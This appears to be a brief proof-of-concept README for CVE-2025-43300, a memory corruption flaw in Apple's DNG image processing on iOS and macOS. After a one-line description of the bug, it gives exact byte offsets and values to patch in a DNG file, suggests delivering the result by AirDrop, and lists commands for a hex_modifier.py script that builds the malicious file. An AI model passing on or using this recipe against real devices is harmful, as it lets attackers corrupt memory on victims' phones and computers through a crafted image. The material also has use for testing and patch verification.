
CVE-2025-43300: iOS/macOS DNG Image Processing Memory Corruption
CVE-2025-43300: iOS/macOS DNG Image Processing Memory Corruption
A vulnerability in Apple’s image processing (RawCamera.bundle) affects iOS 18.6.1 and macOS. The issue occurs when DNG files contain mismatched TIFF metadata and JPEG Lossless parameters, leading to memory corruption.
Download image in DNG resolution
Modify the following bytes:
0x2FD00: 01 -> 02
0x3E40B: 02 -> 01
Airdrop etc
# Create POC using known vulnerable offsets
python3 hex_modifier.py create-poc <input.dng>
# Manual byte modification
python3 hex_modifier.py modify <input.dng> <offset> <old_byte> <new_byte> <output.dng>
# Generate diff report
python3 hex_modifier.py diff <original.dng> <modified.dng>